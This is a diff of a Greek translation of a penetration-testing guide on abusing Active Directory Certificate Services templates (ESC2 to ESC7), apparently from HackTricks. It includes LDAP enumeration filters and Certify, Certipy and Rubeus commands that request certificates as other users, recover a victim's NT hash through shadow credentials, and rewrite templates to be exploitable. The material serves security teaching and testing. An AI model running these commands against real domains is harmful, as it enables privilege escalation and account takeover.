(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)) ``` -## Misconfigured Certificate Templates - ESC2 +## Εσφαλμένα διαμορφωμένα πρότυπα πιστοποιητικών - ESC2 -### Explanation +### Εξήγηση -Το δεύτερο σενάριο κακοποίησης είναι μια παραλλαγή του πρώτου: +Το δεύτερο σενάριο κατάχρησης είναι μια παραλλαγή του πρώτου: -1. Τα δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από την Enterprise CA. -2. Η απαίτηση για έγκριση από διευθυντή είναι απενεργοποιημένη. +1. Δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από το Enterprise CA. +2. Η απαίτηση για έγκριση από manager είναι απενεργοποιημένη. 3. Η ανάγκη για εξουσιοδοτημένες υπογραφές παραλείπεται. -4. Ένας υπερβολικά επιτρεπτικός περιγραφέας ασφαλείας στο πρότυπο πιστοποιητικού χορηγεί δικαιώματα εγγραφής πιστοποιητικού σε χρήστες με χαμηλά προνόμια. -5. **Το πρότυπο πιστοποιητικού ορίζεται να περιλαμβάνει το Any Purpose EKU ή κανένα EKU.** +4. Ένας υπερβολικά επιεικής security descriptor στο πρότυπο πιστοποιητικού χορηγεί δικαιώματα εγγραφής πιστοποιητικών σε χρήστες με χαμηλά προνόμια. +5. **Το πρότυπο πιστοποιητικού ορίζεται ώστε να περιλαμβάνει το Any Purpose EKU ή να μην έχει EKU.** -Το **Any Purpose EKU** επιτρέπει σε έναν επιτιθέμενο να αποκτήσει ένα πιστοποιητικό για **οποιονδήποτε σκοπό**, συμπεριλαμβανομένης της πιστοποίησης πελάτη, της πιστοποίησης διακομιστή, της υπογραφής κώδικα κ.λπ. Η ίδια **τεχνική που χρησιμοποιείται για το ESC3** μπορεί να χρησιμοποιηθεί για την εκμετάλλευση αυτού του σεναρίου. +Το **Any Purpose EKU** επιτρέπει σε έναν attacker να αποκτήσει ένα πιστοποιητικό για **οποιονδήποτε σκοπό**, συμπεριλαμβανομένης της client authentication, server authentication, code signing, κ.λπ. Η ίδια **τεχνική που χρησιμοποιείται για το ESC3** μπορεί να χρησιμοποιηθεί για την εκμετάλλευση αυτού του σεναρίου. -Πιστοποιητικά με **κανένα EKU**, που λειτουργούν ως υποκαταστάτες CA, μπορούν να εκμεταλλευτούν για **οποιονδήποτε σκοπό** και μπορούν **επίσης να χρησιμοποιηθούν για την υπογραφή νέων πιστοποιητικών**. Έτσι, ένας επιτιθέμενος θα μπορούσε να καθορίσει αυθαίρετα EKUs ή πεδία στα νέα πιστοποιητικά χρησιμοποιώντας ένα πιστοποιητικό υποκαταστάτη CA. +Πιστοποιητικά χωρίς **EKUs**, που λειτουργούν ως subordinate CA certificates, μπορούν να εκμεταλλευτούν για **οποιονδήποτε σκοπό** και μπορούν **επίσης να χρησιμοποιηθούν για την υπογραφή νέων πιστοποιητικών**. Συνεπώς, ένας attacker θα μπορούσε να καθορίσει αυθαίρετα EKUs ή πεδία στα νέα πιστοποιητικά αξιοποιώντας ένα subordinate CA certificate. -Ωστόσο, νέα πιστοποιητικά που δημιουργούνται για **πιστοποίηση τομέα** δεν θα λειτουργούν αν ο υποκαταστάτης CA δεν είναι αξιόπιστος από το **`NTAuthCertificates`** αντικείμενο, το οποίο είναι η προεπιλεγμένη ρύθμιση. Παρ' όλα αυτά, ένας επιτιθέμενος μπορεί να δημιουργήσει **νέα πιστοποιητικά με οποιοδήποτε EKU** και αυθαίρετες τιμές πιστοποιητικού. Αυτά θα μπορούσαν να **κακοποιηθούν** για μια ευρεία γκάμα σκοπών (π.χ., υπογραφή κώδικα, πιστοποίηση διακομιστή κ.λπ.) και θα μπορούσαν να έχουν σημαντικές επιπτώσεις για άλλες εφαρμογές στο δίκτυο όπως SAML, AD FS ή IPSec. +Ωστόσο, νέα πιστοποιητικά που δημιουργούνται για **domain authentication** δεν θα λειτουργήσουν αν το subordinate CA δεν εμπιστεύεται από το αντικείμενο **`NTAuthCertificates`**, που είναι η προεπιλεγμένη ρύθμιση. Παρ' όλα αυτά, ένας attacker μπορεί ακόμη να δημιουργήσει **νέα πιστοποιητικά με οποιοδήποτε EKU** και αυθαίρετες τιμές πιστοποιητικών. Αυτά θα μπορούσαν δυνητικά να **κακοποιηθούν** για ένα ευρύ φάσμα σκοπών (π.χ., code signing, server authentication, κ.λπ.) και θα μπορούσαν να έχουν σημαντικές επιπτώσεις για άλλες εφαρμογές στο δίκτυο όπως SAML, AD FS, ή IPSec. -Για να απαριθμήσετε τα πρότυπα που ταιριάζουν σε αυτό το σενάριο εντός του σχήματος διαμόρφωσης του AD Forest, μπορεί να εκτελεστεί το εξής LDAP query: +Για να απαριθμήσετε πρότυπα που ταιριάζουν με αυτό το σενάριο εντός του configuration schema του AD Forest, μπορεί να εκτελεστεί το παρακάτω LDAP query: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))) ``` -## Misconfigured Enrolment Agent Templates - ESC3 +## Λανθασμένα διαμορφωμένα πρότυπα Enrollment Agent - ESC3 -### Explanation +### Εξήγηση -Αυτό το σενάριο είναι παρόμοιο με το πρώτο και το δεύτερο αλλά **καταχράται** μια **διαφορετική EKU** (Certificate Request Agent) και **2 διαφορετικά πρότυπα** (επομένως έχει 2 σύνολα απαιτήσεων), +Αυτό το σενάριο είναι όπως το πρώτο και το δεύτερο αλλά **καταχράται** ένα **διαφορετικό EKU** (Certificate Request Agent) και **2 διαφορετικά templates** (άρα έχει 2 σετ προαπαιτήσεων), -Η **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), γνωστή ως **Enrollment Agent** στην τεκμηρίωση της Microsoft, επιτρέπει σε έναν κύριο να **εγγραφεί** για ένα **πιστοποιητικό** **εκ μέρους άλλου χρήστη**. +Το **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), γνωστό ως **Enrollment Agent** στη τεκμηρίωση της Microsoft, επιτρέπει σε ένα principal να **enroll** για ένα **certificate** **εκ μέρους άλλου χρήστη**. -Ο **“enrollment agent”** εγγράφεται σε ένα τέτοιο **πρότυπο** και χρησιμοποιεί το προκύπτον **πιστοποιητικό για να συνυπογράψει ένα CSR εκ μέρους του άλλου χρήστη**. Στη συνέχεια **στέλνει** το **συνυπογεγραμμένο CSR** στην CA, εγγραφόμενος σε ένα **πρότυπο** που **επιτρέπει “εγγραφή εκ μέρους”**, και η CA απαντά με ένα **πιστοποιητικό που ανήκει στον “άλλο” χρήστη**. +Ο **“enrollment agent”** πραγματοποιεί enroll σε τέτοιο **template** και χρησιμοποιεί το προκύπτον **certificate για να co-sign ένα CSR εκ μέρους του άλλου χρήστη**. Έπειτα **στέλνει** το **co-signed CSR** στην CA, κάνοντας enroll σε ένα **template** που **επιτρέπει “enroll on behalf of”**, και η CA απαντά με ένα **certificate που ανήκει στον “άλλο” χρήστη**. -**Requirements 1:** +**Απαιτήσεις 1:** -- Τα δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από την Enterprise CA. -- Η απαίτηση για έγκριση από διευθυντή παραλείπεται. +- Enrollment rights χορηγούνται σε χρήστες με χαμηλά προνόμια από την Enterprise CA. +- Η απαίτηση για έγκριση από manager έχει παραληφθεί. - Καμία απαίτηση για εξουσιοδοτημένες υπογραφές. -- Ο ασφαλιστικός περιγραφέας του προτύπου πιστοποιητικού είναι υπερβολικά επιτρεπτικός, χορηγώντας δικαιώματα εγγραφής σε χρήστες με χαμηλά προνόμια. -- Το πρότυπο πιστοποιητικού περιλαμβάνει την Certificate Request Agent EKU, επιτρέποντας την αίτηση άλλων προτύπων πιστοποιητικών εκ μέρους άλλων προσώπων. +- Ο security descriptor του certificate template είναι υπερβολικά επιεικής, χορηγώντας enrollment rights σε χρήστες με χαμηλά προνόμια. +- Το certificate template περιλαμβάνει το Certificate Request Agent EKU, επιτρέποντας το αίτημα άλλων certificate templates εκ μέρους άλλων principals. -**Requirements 2:** +**Απαιτήσεις 2:** -- Η Enterprise CA χορηγεί δικαιώματα εγγραφής σε χρήστες με χαμηλά προνόμια. -- Η έγκριση του διευθυντή παρακάμπτεται. -- Η έκδοση του σχήματος του προτύπου είναι είτε 1 είτε υπερβαίνει το 2, και καθορίζει μια Απαίτηση Έκδοσης Πολιτικής Εφαρμογής που απαιτεί την Certificate Request Agent EKU. -- Μια EKU που ορίζεται στο πρότυπο πιστοποιητικού επιτρέπει την αυθεντικοποίηση τομέα. -- Περιορισμοί για τους πράκτορες εγγραφής δεν εφαρμόζονται στην CA. +- Η Enterprise CA χορηγεί enrollment rights σε χρήστες με χαμηλά προνόμια. +- Η έγκριση από manager παρακάμπτεται. +- Η έκδοση σχήματος (schema version) του template είναι είτε 1 είτε μεγαλύτερη του 2, και καθορίζει ένα Application Policy Issuance Requirement που απαιτεί το Certificate Request Agent EKU. +- Ένα EKU που ορίζεται στο certificate template επιτρέπει domain authentication. +- Δεν εφαρμόζονται περιορισμοί για enrollment agents στην CA. -### Abuse +### Κατάχρηση -Μπορείτε να χρησιμοποιήσετε [**Certify**](https://github.com/GhostPack/Certify) ή [**Certipy**](https://github.com/ly4k/Certipy) για να καταχραστείτε αυτό το σενάριο: +Μπορείτε να χρησιμοποιήσετε [**Certify**](https://github.com/GhostPack/Certify) ή [**Certipy**](https://github.com/ly4k/Certipy) για να εκμεταλλευτείτε αυτό το σενάριο: ```bash # Request an enrollment agent certificate Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent @@ -117,39 +129,46 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -Οι **χρήστες** που επιτρέπεται να **αποκτούν** ένα **πιστοποιητικό πράκτορα εγγραφής**, τα πρότυπα στα οποία οι πράκτορες εγγραφής επιτρέπεται να εγγραφούν, και οι **λογαριασμοί** εκ μέρους των οποίων μπορεί να ενεργήσει ο πράκτορας εγγραφής μπορούν να περιοριστούν από τις επιχειρησιακές CA. Αυτό επιτυγχάνεται ανοίγοντας το `certsrc.msc` **snap-in**, **κλικάροντας με το δεξί κουμπί πάνω στην CA**, **επιλέγοντας Ιδιότητες**, και στη συνέχεια **μεταβαίνοντας** στην καρτέλα “Enrollment Agents”. +Οι **χρήστες** που επιτρέπεται να **αποκτήσουν** ένα **πιστοποιητικό πράκτορα εγγραφής**, τα πρότυπα στα οποία οι πράκτορες **έχουν δικαίωμα εγγραφής**, και οι **λογαριασμοί** εκ μέρους των οποίων ο πράκτορας εγγραφής μπορεί να ενεργεί μπορούν να περιοριστούν από τις enterprise CAs. Αυτό επιτυγχάνεται ανοίγοντας το `certsrc.msc` snap-in, κάνοντας **δεξί κλικ στην CA**, **κλικάροντας Properties**, και στη συνέχεια **πλοηγούμενοι** στην καρτέλα “Enrollment Agents”. -Ωστόσο, σημειώνεται ότι η **προεπιλεγμένη** ρύθμιση για τις CA είναι να “**Μη περιορίζετε τους πράκτορες εγγραφής**.” Όταν η περιοριστική ρύθμιση για τους πράκτορες εγγραφής ενεργοποιείται από τους διαχειριστές, ρυθμίζοντας την σε “Περιορίστε τους πράκτορες εγγραφής,” η προεπιλεγμένη διαμόρφωση παραμένει εξαιρετικά επιτρεπτική. Επιτρέπει την πρόσβαση σε **Όλους** για να εγγραφούν σε όλα τα πρότυπα ως οποιοσδήποτε. +Ωστόσο, σημειώνεται ότι η **προεπιλεγμένη** ρύθμιση για τις CAs είναι “**Do not restrict enrollment agents**.” Όταν ο περιορισμός στους πράκτορες εγγραφής ενεργοποιηθεί από τους διαχειριστές, ορίζοντάς τον σε “Restrict enrollment agents,” η προεπιλεγμένη διαμόρφωση παραμένει εξαιρετικά επιεικής. Επιτρέπει στο **Everyone** πρόσβαση για εγγραφή σε όλα τα πρότυπα ως οποιοσδήποτε. -## Ευάλωτος Έλεγχος Πρόσβασης Πιστοποιητικού - ESC4 +## Επιρρεπής Έλεγχος Πρόσβασης Προτύπου Πιστοποιητικού - ESC4 -### **Εξήγηση** +### **Επεξήγηση** -Ο **ασφαλιστικός περιγραφέας** στα **πρότυπα πιστοποιητικών** καθορίζει τις **άδειες** που κατέχουν συγκεκριμένοι **AD principals** σχετικά με το πρότυπο. +Ο **security descriptor** σε **certificate templates** καθορίζει τα **permissions** που έχουν συγκεκριμένοι **AD principals** σχετικά με το πρότυπο. -Εάν ένας **επιτιθέμενος** κατέχει τις απαραίτητες **άδειες** για να **αλλάξει** ένα **πρότυπο** και να **θεσπίσει** οποιεσδήποτε **εκμεταλλεύσιμες κακοδιαμορφώσεις** που περιγράφονται σε **προηγούμενες ενότητες**, η κλιμάκωση προνομίων θα μπορούσε να διευκολυνθεί. +Εάν ένας **επιτιθέμενος** διαθέτει τα απαιτούμενα **permissions** για να **τροποποιήσει** ένα **template** και να **εγκαταστήσει** οποιεσδήποτε **εκμεταλλεύσιμες κακόδιαμορφώσεις** που περιγράφονται σε **προηγούμενες ενότητες**, μπορεί να διευκολυνθεί η αύξηση προνομίων. -Σημαντικές άδειες που ισχύουν για τα πρότυπα πιστοποιητικών περιλαμβάνουν: +Σημαντικά permissions που ισχύουν για certificate templates περιλαμβάνουν: -- **Ιδιοκτήτης:** Παρέχει έμμεσο έλεγχο πάνω στο αντικείμενο, επιτρέποντας την τροποποίηση οποιωνδήποτε χαρακτηριστικών. -- **FullControl:** Ενεργοποιεί πλήρη εξουσία πάνω στο αντικείμενο, συμπεριλαμβανομένης της ικανότητας να αλλάξει οποιαδήποτε χαρακτηριστικά. -- **WriteOwner:** Επιτρέπει την αλλαγή του ιδιοκτήτη του αντικειμένου σε έναν κύριο υπό τον έλεγχο του επιτιθέμενου. -- **WriteDacl:** Επιτρέπει την προσαρμογή των ελέγχων πρόσβασης, ενδεχομένως παρέχοντας στον επιτιθέμενο FullControl. -- **WriteProperty:** Εξουσιοδοτεί την επεξεργασία οποιωνδήποτε ιδιοτήτων αντικειμένου. +- **Owner:** Παρέχει έμμεσο έλεγχο του αντικειμένου, επιτρέποντας την τροποποίηση οποιωνδήποτε χαρακτηριστικών. +- **FullControl:** Επιτρέπει πλήρη εξουσία επί του αντικειμένου, συμπεριλαμβανομένης της δυνατότητας να αλλάξει οποιαδήποτε χαρακτηριστικά. +- **WriteOwner:** Επιτρέπει την αλλαγή του ιδιοκτήτη (owner) του αντικειμένου σε έναν principal υπό τον έλεγχο του επιτιθέμενου. +- **WriteDacl:** Επιτρέπει την προσαρμογή των access controls, ενδεχομένως χορηγώντας στον επιτιθέμενο FullControl. +- **WriteProperty:** Εξουσιοδοτεί την επεξεργασία οποιωνδήποτε ιδιοτήτων του αντικειμένου. ### Κατάχρηση -Ένα παράδειγμα κλιμάκωσης προνομίων όπως το προηγούμενο: - +Για να εντοπίσετε τους principals με δικαιώματα επεξεργασίας σε πρότυπα και άλλα PKI αντικείμενα, απαριθμήστε με Certify: +```bash +Certify.exe find /showAllPermissions +Certify.exe pkiobjects /domain:corp.local /showAdmins +```
-Το ESC4 είναι όταν ένας χρήστης έχει δικαιώματα εγγραφής σε ένα πρότυπο πιστοποιητικού. Αυτό μπορεί για παράδειγμα να καταχραστεί για να αντικαταστήσει τη διαμόρφωση του προτύπου πιστοποιητικού ώστε να καταστεί το πρότυπο ευάλωτο στο ESC1. +Ένα παράδειγμα privesc όπως το προηγούμενο: -Όπως μπορούμε να δούμε στο παραπάνω μονοπάτι, μόνο ο `JOHNPC` έχει αυτά τα δικαιώματα, αλλά ο χρήστης μας `JOHN` έχει την νέα άκρη `AddKeyCredentialLink` προς τον `JOHNPC`. Δεδομένου ότι αυτή η τεχνική σχετίζεται με πιστοποιητικά, έχω εφαρμόσει αυτή την επίθεση επίσης, η οποία είναι γνωστή ως [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ορίστε μια μικρή ματιά στην εντολή `shadow auto` του Certipy για να ανακτήσετε το NT hash του θύματος. +ESC4 είναι όταν ένας χρήστης έχει δικαιώματα εγγραφής πάνω σε ένα πρότυπο πιστοποιητικού. Αυτό, για παράδειγμα, μπορεί να καταχραστεί για να αντικαταστήσει τη διαμόρφωση του πρότυπου πιστοποιητικού και να καταστήσει το πρότυπο ευάλωτο σε ESC1. + +Όπως βλέπουμε στη διαδρομή παραπάνω, μόνο ο `JOHNPC` έχει αυτά τα προνόμια, αλλά ο χρήστης μας `JOHN` έχει το νέο `AddKeyCredentialLink` edge προς τον `JOHNPC`. + +Δεδομένου ότι αυτή η τεχνική σχετίζεται με πιστοποιητικά, έχω υλοποιήσει και αυτή την επίθεση, η οποία είναι γνωστή ως [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Εδώ μια μικρή προεπισκόπηση της εντολής `shadow auto` του Certipy για την ανάκτηση του NT hash του θύματος. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** μπορεί να αντικαταστήσει τη ρύθμιση ενός προτύπου πιστοποιητικού με μια μόνο εντολή. Από **προεπιλογή**, το Certipy θα **αντικαταστήσει** τη ρύθμιση για να την καταστήσει **ευάλωτη σε ESC1**. Μπορούμε επίσης να καθορίσουμε την **παράμετρο `-save-old` για να αποθηκεύσουμε την παλιά ρύθμιση**, η οποία θα είναι χρήσιμη για **την αποκατάσταση** της ρύθμισης μετά την επίθεσή μας. +**Certipy** μπορεί να overwrite τη διαμόρφωση ενός προτύπου πιστοποιητικού με μία εντολή. Από **default**, το Certipy θα **overwrite** τη διαμόρφωση ώστε να γίνει **vulnerable to ESC1**. Μπορούμε επίσης να ορίσουμε την παράμετρο **`-save-old` για να αποθηκεύσουμε την παλιά διαμόρφωση**, κάτι που θα είναι χρήσιμο για την επαναφορά της διαμόρφωσης μετά την επίθεσή μας. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -160,37 +179,37 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target # Restore config certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json ``` -## Ευάλωτος Έλεγχος Πρόσβασης Αντικειμένων PKI - ESC5 +## Εύθραυστη πρόσβαση αντικειμένων PKI - ESC5 -### Εξήγηση +### Επεξήγηση -Το εκτενές δίκτυο αλληλοσυνδεδεμένων σχέσεων βασισμένων σε ACL, το οποίο περιλαμβάνει αρκετά αντικείμενα πέρα από τα πρότυπα πιστοποιητικών και την αρχή πιστοποίησης, μπορεί να επηρεάσει την ασφάλεια ολόκληρου του συστήματος AD CS. Αυτά τα αντικείμενα, που μπορούν να επηρεάσουν σημαντικά την ασφάλεια, περιλαμβάνουν: +Ο εκτεταμένος ιστός αλληλοσυνδεόμενων σχέσεων βασισμένων σε ACL, που περιλαμβάνει αρκετά αντικείμενα πέρα από τα certificate templates και την certificate authority, μπορεί να επηρεάσει την ασφάλεια ολόκληρου του συστήματος AD CS. Αυτά τα αντικείμενα, τα οποία μπορούν να επηρεάσουν σημαντικά την ασφάλεια, περιλαμβάνουν: -- Το αντικείμενο υπολογιστή AD του διακομιστή CA, το οποίο μπορεί να παραβιαστεί μέσω μηχανισμών όπως το S4U2Self ή το S4U2Proxy. -- Ο διακομιστής RPC/DCOM του διακομιστή CA. -- Οποιοδήποτε κατώτερο αντικείμενο ή κοντέινερ AD εντός της συγκεκριμένης διαδρομής κοντέινερ `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Αυτή η διαδρομή περιλαμβάνει, αλλά δεν περιορίζεται σε, κοντέινερ και αντικείμενα όπως το κοντέινερ Πρότυπα Πιστοποιητικών, το κοντέινερ Αρχών Πιστοποίησης, το αντικείμενο NTAuthCertificates και το Κοντέινερ Υπηρεσιών Εγγραφής. +- Το AD computer object του CA server, το οποίο μπορεί να συμβιβαστεί μέσω μηχανισμών όπως S4U2Self ή S4U2Proxy. +- Ο RPC/DCOM server του CA server. +- Οποιοδήποτε κατώτερο AD object ή container μέσα στη συγκεκριμένη διαδρομή container `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Αυτή η διαδρομή περιλαμβάνει, αλλά δεν περιορίζεται σε, containers και αντικείμενα όπως το Certificate Templates container, το Certification Authorities container, το NTAuthCertificates object και το Enrollment Services Container. -Η ασφάλεια του συστήματος PKI μπορεί να παραβιαστεί αν ένας επιτιθέμενος με χαμηλά προνόμια καταφέρει να αποκτήσει έλεγχο σε οποιοδήποτε από αυτά τα κρίσιμα στοιχεία. +Η ασφάλεια του PKI συστήματος μπορεί να τεθεί σε κίνδυνο αν ένας επιτιθέμενος με χαμηλά προνόμια καταφέρει να αποκτήσει έλεγχο σε οποιοδήποτε από αυτά τα κρίσιμα στοιχεία. ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 -### Εξήγηση +### Επεξήγηση -Το θέμα που συζητείται στην [**ανάρτηση της CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) αναφέρεται επίσης στις επιπτώσεις της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, όπως περιγράφεται από τη Microsoft. Αυτή η ρύθμιση, όταν ενεργοποιηθεί σε μια Αρχή Πιστοποίησης (CA), επιτρέπει την προσθήκη **καθορισμένων από τον χρήστη τιμών** στο **εναλλακτικό όνομα υποκειμένου** για **οποιοδήποτε αίτημα**, συμπεριλαμβανομένων εκείνων που κατασκευάζονται από το Active Directory®. Ως εκ τούτου, αυτή η διάταξη επιτρέπει σε έναν **εισβολέα** να εγγραφεί μέσω **οποιουδήποτε προτύπου** έχει ρυθμιστεί για **αυθεντικοποίηση** τομέα—συγκεκριμένα εκείνων που είναι ανοιχτά για εγγραφή **μη προνομιούχων** χρηστών, όπως το πρότυπο Χρήστη. Ως αποτέλεσμα, μπορεί να εξασφαλιστεί ένα πιστοποιητικό, επιτρέποντας στον εισβολέα να αυθεντικοποιηθεί ως διαχειριστής τομέα ή **οποιαδήποτε άλλη ενεργή οντότητα** εντός του τομέα. +Το θέμα που συζητείται στο [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) αγγίζει επίσης τις επιπτώσεις του flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, όπως περιγράφει η Microsoft. Αυτή η ρύθμιση, όταν ενεργοποιείται σε μια Certification Authority (CA), επιτρέπει την εισαγωγή **user-defined values** στο **subject alternative name** για **οποιοδήποτε request**, συμπεριλαμβανομένων αυτών που δημιουργούνται από Active Directory®. Επομένως, αυτή η δυνατότητα επιτρέπει σε έναν **εισβολέα** να εγγραφεί μέσω **οποιουδήποτε template** που έχει ρυθμιστεί για domain **authentication** — συγκεκριμένα αυτών που είναι ανοιχτά για εγγραφή από **μη προνομιούχους** χρήστες, όπως το standard User template. Ως αποτέλεσμα, μπορεί να αποκτηθεί ένα certificate, επιτρέποντας στον εισβολέα να αυθεντικοποιηθεί ως domain administrator ή **οποιαδήποτε άλλη ενεργή οντότητα** στο domain. -**Σημείωση**: Η προσέγγιση για την προσθήκη **εναλλακτικών ονομάτων** σε ένα Αίτημα Υπογραφής Πιστοποιητικού (CSR), μέσω του επιχειρήματος `-attrib "SAN:"` στο `certreq.exe` (αναφερόμενο ως “Ζεύγη Ονόματος και Τιμής”), παρουσιάζει μια **αντίθεση** με τη στρατηγική εκμετάλλευσης των SANs στο ESC1. Εδώ, η διάκριση έγκειται στο **πώς οι πληροφορίες λογαριασμού είναι ενσωματωμένες**—εντός ενός χαρακτηριστικού πιστοποιητικού, αντί για μια επέκταση. +**Σημείωση**: Η μέθοδος για την προσθήκη **alternative names** σε ένα Certificate Signing Request (CSR), μέσω του argument `-attrib "SAN:"` στο `certreq.exe` (αναφερόμενη ως “Name Value Pairs”), παρουσιάζει μια **αντίθεση** με τη στρατηγική εκμετάλλευσης των SANs στο ESC1. Εδώ, η διαφορά έγκειται στον τρόπο που **οι πληροφορίες του λογαριασμού ενσωματώνονται** — μέσα σε ένα certificate attribute, αντί για ένα extension. ### Κατάχρηση -Για να επαληθεύσουν αν η ρύθμιση είναι ενεργοποιημένη, οι οργανισμοί μπορούν να χρησιμοποιήσουν την παρακάτω εντολή με το `certutil.exe`: +Για να επαληθεύσουν εάν η ρύθμιση είναι ενεργοποιημένη, οι οργανισμοί μπορούν να χρησιμοποιήσουν την παρακάτω εντολή με `certutil.exe`: ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -Αυτή η λειτουργία χρησιμοποιεί ουσιαστικά **remote registry access**, επομένως, μια εναλλακτική προσέγγιση θα μπορούσε να είναι: +Αυτή η ενέργεια χρησιμοποιεί ουσιαστικά **remote registry access**, επομένως μια εναλλακτική προσέγγιση θα μπορούσε να είναι: ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` -Εργαλεία όπως [**Certify**](https://github.com/GhostPack/Certify) και [**Certipy**](https://github.com/ly4k/Certipy) είναι ικανά να ανιχνεύσουν αυτή τη λανθασμένη ρύθμιση και να την εκμεταλλευτούν: +Εργαλεία όπως [**Certify**](https://github.com/GhostPack/Certify) και [**Certipy**](https://github.com/ly4k/Certipy) μπορούν να εντοπίσουν αυτή τη λανθασμένη διαμόρφωση και να την εκμεταλλευτούν: ```bash # Detect vulnerabilities, including this one Certify.exe find @@ -199,39 +218,39 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -Για να αλλάξετε αυτές τις ρυθμίσεις, υποθέτοντας ότι έχετε **δικαιώματα διαχειριστή τομέα** ή ισοδύναμα, μπορεί να εκτελεστεί η παρακάτω εντολή από οποιονδήποτε σταθμό εργασίας: +Για να τροποποιηθούν αυτές οι ρυθμίσεις, εφόσον κάποιος διαθέτει **δικαιώματα διαχειριστή domain** ή ισοδύναμα, η ακόλουθη εντολή μπορεί να εκτελεστεί από οποιονδήποτε σταθμό εργασίας: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` -Για να απενεργοποιήσετε αυτή τη ρύθμιση στο περιβάλλον σας, η σημαία μπορεί να αφαιρεθεί με: +Για να απενεργοποιήσετε αυτήν τη ρύθμιση στο περιβάλλον σας, το flag μπορεί να αφαιρεθεί με: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> Μετά τις ενημερώσεις ασφαλείας του Μαΐου 2022, οι νεοεκδοθείσες **πιστοποιήσεις** θα περιέχουν μια **επέκταση ασφαλείας** που ενσωματώνει την **ιδιότητα `objectSid` του αιτούντος**. Για το ESC1, αυτό το SID προέρχεται από το καθορισμένο SAN. Ωστόσο, για το **ESC6**, το SID αντικατοπτρίζει το **`objectSid` του αιτούντος**, όχι το SAN.\ -> Για να εκμεταλλευτεί κανείς το ESC6, είναι απαραίτητο το σύστημα να είναι ευάλωτο στο ESC10 (Αδύνατοι Χάρτες Πιστοποιητικών), το οποίο δίνει προτεραιότητα στο **SAN έναντι της νέας επέκτασης ασφαλείας**. +> Μετά τις ενημερώσεις ασφαλείας του Μαΐου 2022, τα **certificates** που εκδίδονται πρόσφατα θα περιέχουν ένα **security extension** που ενσωματώνει το **requester's `objectSid` property**. Για το ESC1, αυτό το SID προέρχεται από το καθορισμένο SAN. Ωστόσο, για το **ESC6**, το SID αντικατοπτρίζει το **requester's `objectSid`**, όχι το SAN.\ +> Για να εκμεταλλευτεί κανείς το ESC6, είναι απαραίτητο το σύστημα να είναι ευάλωτο στο ESC10 (Weak Certificate Mappings), το οποίο προτιμά το **SAN over the new security extension**. -## Ευάλωτος Έλεγχος Πρόσβασης Αρχής Πιστοποίησης - ESC7 +## Vulnerable Certificate Authority Access Control - ESC7 -### Επίθεση 1 +### Attack 1 -#### Εξήγηση +#### Explanation -Ο έλεγχος πρόσβασης για μια αρχή πιστοποίησης διατηρείται μέσω ενός συνόλου δικαιωμάτων που διέπουν τις ενέργειες της CA. Αυτά τα δικαιώματα μπορούν να προβληθούν με την πρόσβαση στο `certsrv.msc`, κάνοντας δεξί κλικ σε μια CA, επιλέγοντας ιδιότητες και στη συνέχεια πηγαίνοντας στην καρτέλα Ασφάλεια. Επιπλέον, τα δικαιώματα μπορούν να απαριθμηθούν χρησιμοποιώντας το PSPKI module με εντολές όπως: +Ο έλεγχος πρόσβασης για μια certificate authority διατηρείται μέσω ενός συνόλου permissions που ρυθμίζουν τις ενέργειες του CA. Αυτά τα permissions μπορούν να προβληθούν ανοίγοντας το `certsrv.msc`, κάνοντας δεξί κλικ σε μια CA, επιλέγοντας properties, και στη συνέχεια πηγαίνοντας στην Security tab. Επιπλέον, τα permissions μπορούν να απαριθμηθούν χρησιμοποιώντας το PSPKI module 